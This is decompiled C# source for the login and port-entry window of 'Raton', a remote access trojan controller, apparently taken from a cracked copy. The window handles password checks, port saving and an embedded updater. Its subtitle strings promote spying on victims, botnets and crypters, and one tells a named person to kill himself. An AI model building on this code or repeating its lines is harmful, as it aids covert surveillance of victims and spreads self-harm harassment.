386 lines
12 KiB
C#
386 lines
12 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: WpfApp1.Windows.Port
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Microsoft.CSharp.RuntimeBinder;
|
|
using Newtonsoft.Json;
|
|
using Newtonsoft.Json.Linq;
|
|
using Raton.Classes;
|
|
using RatonBack;
|
|
using System;
|
|
using System.CodeDom.Compiler;
|
|
using System.Collections.Generic;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Net.Http;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading.Tasks;
|
|
using System.Windows;
|
|
using System.Windows.Controls;
|
|
using System.Windows.Input;
|
|
using System.Windows.Interop;
|
|
using System.Windows.Markup;
|
|
using System.Windows.Media;
|
|
using System.Windows.Media.Animation;
|
|
using System.Windows.Media.Imaging;
|
|
using System.Windows.Shapes;
|
|
|
|
#nullable disable
|
|
namespace WpfApp1.Windows;
|
|
|
|
public partial class Port : Window
|
|
{
|
|
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
|
|
private static readonly string InfoPath = System.IO.Path.Combine(MainWindow.appData, "DONOTSHARE.json");
|
|
private static readonly string PortsPath = System.IO.Path.Combine(MainWindow.appData, "ports.json");
|
|
private string _user;
|
|
private string _savedPassword;
|
|
private int _attempts;
|
|
private bool _busy;
|
|
private bool _closing;
|
|
private static string[] Subtitles;
|
|
|
|
public static Listen ListenerInstance { get; private set; }
|
|
|
|
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
|
|
private static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, ref int val, int size);
|
|
|
|
public string EnteredPassword { get; private set; }
|
|
|
|
public int EnteredPort { get; private set; }
|
|
|
|
public bool LoginSuccess { get; private set; }
|
|
|
|
public Port()
|
|
{
|
|
try
|
|
{
|
|
if (File.Exists(Port.InfoPath))
|
|
{
|
|
JObject json = JObject.Parse(File.ReadAllText(Port.InfoPath));
|
|
this._user = json["Username"]?.ToString();
|
|
this._savedPassword = json["Password"]?.ToString();
|
|
}
|
|
|
|
Port.Subtitles = new string[47]
|
|
{
|
|
$"We are happy to see you, {this._user}!",
|
|
"Who are you going to rat?",
|
|
"Remember to drink water",
|
|
"Time to set some ports",
|
|
"Nice profile picture :O",
|
|
"I'll wait for you, don't worry",
|
|
"Does anyone read this? :(",
|
|
"Still alive? What a miracle",
|
|
"Better than pulsar",
|
|
"Dark mode >>> Light mode",
|
|
"Happy ratting :)",
|
|
"From real rats to the world",
|
|
"Silly pls fix HVNC!!!",
|
|
"Portmap sucks",
|
|
"The speed doesn't depends on Raton",
|
|
"Adam you should kys now!!!!!!!!",
|
|
"Raton exit scam",
|
|
"Get vexal crypter 8)",
|
|
"Stability fixed rn",
|
|
"I think this is a new update...",
|
|
"Raton CLI is more classic",
|
|
"Yummy botnets",
|
|
"Consider checking the draw command",
|
|
"The best rat ever (Maybe)",
|
|
"100+ functions!",
|
|
"Can i buy deluxe",
|
|
":sob:",
|
|
"Yeepers1 can't rat anyone :sob:",
|
|
"67h4 extorts people",
|
|
"Made ts just for fun :3",
|
|
"Fuck xworm!",
|
|
"Silly is one sexy man",
|
|
$"{this._user} or {Environment.UserName}",
|
|
"Exit scam when!!!!",
|
|
"Leave a review on our Telegram",
|
|
"Suggestions? Bugs? Join the Telegram",
|
|
"Take your time, those clients can wait",
|
|
"Thanks for choosing Raton!",
|
|
"I like cats and rats",
|
|
"McChicken",
|
|
"@SillyCs: OrcusRAT my goat",
|
|
"Best (maybe) free and safest rat :D",
|
|
"We do daily bug fixes on telegram",
|
|
"Raton means rat in spanish",
|
|
"I would like to order a happy meal",
|
|
$"\"{this._user}\" what a name...",
|
|
"(Insert random message here)"
|
|
};
|
|
}
|
|
catch
|
|
{
|
|
this._user = Environment.UserName;
|
|
this._savedPassword = string.Empty;
|
|
}
|
|
this.InitializeComponent();
|
|
this.TbPort.KeyDown += (KeyEventHandler) ((s, e) =>
|
|
{
|
|
if (e.Key != Key.Return)
|
|
return;
|
|
this.TryLoginAsync();
|
|
});
|
|
this.PbPassword.KeyDown += (KeyEventHandler) ((s, e) =>
|
|
{
|
|
if (e.Key != Key.Return)
|
|
return;
|
|
this.TryLoginAsync();
|
|
});
|
|
this.Loaded += new RoutedEventHandler(this.Port_Loaded);
|
|
}
|
|
|
|
private async void Port_Loaded(object sender, RoutedEventArgs e)
|
|
{
|
|
this.ApplyDarkTitleBar();
|
|
this.SetGreeting();
|
|
this.LoadPort();
|
|
this.LoadAvatar();
|
|
if (!string.IsNullOrWhiteSpace(this._savedPassword))
|
|
{
|
|
this.PbPassword.Password = this._savedPassword;
|
|
if (await BackendClient.Login(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId(), this._savedPassword, this._user) && BackendClient.IsLoggedIn())
|
|
{
|
|
this.PbPassword.IsEnabled = false;
|
|
this.SetStatus("Session token active", "#4CAF50");
|
|
}
|
|
}
|
|
this.PbPassword.Focus();
|
|
try
|
|
{
|
|
int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
|
|
Environment.Exit(0);
|
|
}
|
|
}
|
|
|
|
private void SetGreeting()
|
|
{
|
|
int hour = DateTime.Now.Hour;
|
|
this.TbGreeting.Text = $"{(hour < 5 || hour >= 12 ? (hour < 12 || hour >= 18 ? (hour < 18 || hour >= 22 ? "Good night" : "Good evening") : "Good afternoon") : "Good morning")}, {this._user}";
|
|
this.TbSubtitle.Text = Port.Subtitles[new Random().Next(Port.Subtitles.Length)];
|
|
}
|
|
|
|
private void LoadPort()
|
|
{
|
|
try
|
|
{
|
|
if (!File.Exists(Port.PortsPath))
|
|
return;
|
|
List<string> stringList = JsonConvert.DeserializeObject<List<string>>(File.ReadAllText(Port.PortsPath));
|
|
if (stringList == null || stringList.Count <= 0)
|
|
return;
|
|
this.TbPort.Text = stringList[stringList.Count - 1];
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void SavePort()
|
|
{
|
|
try
|
|
{
|
|
Directory.CreateDirectory(MainWindow.appData);
|
|
List<string> stringList = new List<string>()
|
|
{
|
|
this.TbPort.Text.Trim()
|
|
};
|
|
File.WriteAllText(Port.PortsPath, JsonConvert.SerializeObject((object) stringList, Formatting.Indented));
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void SetStatus(string text, string hexColor)
|
|
{
|
|
this.TbStatus.Text = text;
|
|
this.TbStatus.Foreground = (Brush) new SolidColorBrush((Color) ColorConverter.ConvertFromString(hexColor));
|
|
this.TbStatus.Visibility = string.IsNullOrEmpty(text) ? Visibility.Hidden : Visibility.Visible;
|
|
}
|
|
|
|
private void BtnLogin_Click(object sender, RoutedEventArgs e) => this.TryLoginAsync();
|
|
|
|
private async Task TryLoginAsync()
|
|
{
|
|
if (this._busy || this._closing)
|
|
return;
|
|
this._busy = true;
|
|
this.BtnLogin.IsEnabled = false;
|
|
bool succeeded = false;
|
|
try
|
|
{
|
|
int port;
|
|
if (!int.TryParse(this.TbPort.Text.Trim(), out port) || port < 1 || port > (int) ushort.MaxValue)
|
|
{
|
|
Port.ShakeControl((UIElement) this.TbPort);
|
|
this.SetStatus("Invalid port number", "#EF5350");
|
|
return;
|
|
}
|
|
this.SetStatus("Checking connection...", "#888899");
|
|
if (!await Port.IsInternetAvailable())
|
|
{
|
|
this.SetStatus("No internet connection", "#EF5350");
|
|
return;
|
|
}
|
|
this.SetStatus("Authenticating...", "#888899");
|
|
string password = this.PbPassword.Password;
|
|
if (string.IsNullOrWhiteSpace(password))
|
|
{
|
|
this.SetStatus("Please enter your password", "#EF5350");
|
|
Port.ShakeControl((UIElement) this.PbPassword);
|
|
return;
|
|
}
|
|
if (!await BackendClient.Login(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId(), password, this._user))
|
|
{
|
|
this.SetStatus("Incorrect password", "#EF5350");
|
|
Port.ShakeControl((UIElement) this.PbPassword);
|
|
return;
|
|
}
|
|
this.EnteredPassword = password;
|
|
this.EnteredPort = port;
|
|
this.LoginSuccess = true;
|
|
succeeded = true;
|
|
this.SetStatus("Welcome to Raton", "#4CAF50");
|
|
this.SavePort();
|
|
password = (string) null;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
this.SetStatus("Error: " + ex.Message, "#EF5350");
|
|
}
|
|
finally
|
|
{
|
|
this._busy = false;
|
|
if (!succeeded)
|
|
this.BtnLogin.IsEnabled = true;
|
|
}
|
|
if (!succeeded)
|
|
return;
|
|
this._closing = true;
|
|
await Task.Delay(600);
|
|
this.FadeOutAndClose();
|
|
}
|
|
|
|
private void FadeOutAndClose()
|
|
{
|
|
DoubleAnimation doubleAnimation = new DoubleAnimation(1.0, 0.0, new Duration(TimeSpan.FromMilliseconds(300.0)));
|
|
CubicEase cubicEase = new CubicEase();
|
|
cubicEase.EasingMode = EasingMode.EaseIn;
|
|
doubleAnimation.EasingFunction = (IEasingFunction) cubicEase;
|
|
DoubleAnimation animation = doubleAnimation;
|
|
animation.Completed += (EventHandler) ((s, e) =>
|
|
{
|
|
MainWindow mainWindow = new MainWindow();
|
|
Application.Current.MainWindow = (Window) mainWindow;
|
|
mainWindow.WindowState = WindowState.Normal;
|
|
mainWindow.Activate();
|
|
this.Close();
|
|
});
|
|
this.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation);
|
|
}
|
|
|
|
private static async Task<bool> IsInternetAvailable()
|
|
{
|
|
try
|
|
{
|
|
return (await new HttpClient()
|
|
{
|
|
Timeout = TimeSpan.FromSeconds(5.0)
|
|
}.GetAsync("https://www.google.com")).IsSuccessStatusCode;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static void LaunchUpdater()
|
|
{
|
|
try
|
|
{
|
|
string str1 = System.IO.Path.Combine(MainWindow.appData, "Updater");
|
|
Directory.CreateDirectory(str1);
|
|
string str2 = System.IO.Path.Combine(str1, "RatonUpdater.exe");
|
|
byte[] ratonUpdater = Raton.Properties.Resources.RatonUpdater;
|
|
if (!File.Exists(str2) || new FileInfo(str2).Length != (long) ratonUpdater.Length)
|
|
File.WriteAllBytes(str2, ratonUpdater);
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = str2,
|
|
UseShellExecute = true,
|
|
WorkingDirectory = str1
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void LoadAvatar()
|
|
{
|
|
string[] strArray = new string[6]
|
|
{
|
|
".png",
|
|
".jpg",
|
|
".jpeg",
|
|
".gif",
|
|
".bmp",
|
|
".webp"
|
|
};
|
|
string uriString = (string) null;
|
|
foreach (string str in strArray)
|
|
{
|
|
string path = System.IO.Path.Combine(MainWindow.appData, "pfp" + str);
|
|
if (File.Exists(path))
|
|
{
|
|
uriString = path;
|
|
break;
|
|
}
|
|
}
|
|
if (uriString == null)
|
|
return;
|
|
BitmapImage image = new BitmapImage();
|
|
image.BeginInit();
|
|
image.CacheOption = BitmapCacheOption.OnLoad;
|
|
image.UriSource = new Uri(uriString, UriKind.Absolute);
|
|
image.EndInit();
|
|
image.Freeze();
|
|
Ellipse pfpEclipse = this.PfpEclipse;
|
|
ImageBrush imageBrush = new ImageBrush((ImageSource) image);
|
|
imageBrush.Stretch = Stretch.UniformToFill;
|
|
pfpEclipse.Fill = (Brush) imageBrush;
|
|
}
|
|
|
|
private static void ShakeControl(UIElement el)
|
|
{
|
|
TranslateTransform translateTransform = new TranslateTransform();
|
|
el.RenderTransform = (Transform) translateTransform;
|
|
DoubleAnimationUsingKeyFrames animation = new DoubleAnimationUsingKeyFrames();
|
|
int[] numArray = new int[7]{ -6, 6, -5, 5, -3, 3, 0 };
|
|
int num1 = 0;
|
|
foreach (int num2 in numArray)
|
|
animation.KeyFrames.Add((DoubleKeyFrame) new LinearDoubleKeyFrame((double) num2, KeyTime.FromTimeSpan(TimeSpan.FromMilliseconds((double) (num1++ * 40)))));
|
|
translateTransform.BeginAnimation(TranslateTransform.XProperty, (AnimationTimeline) animation);
|
|
}
|
|
|
|
private void ApplyDarkTitleBar()
|
|
{
|
|
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
|
|
int val = 1;
|
|
Port.DwmSetWindowAttribute(handle, 20, ref val, Marshal.SizeOf(typeof (int)));
|
|
}
|
|
}
|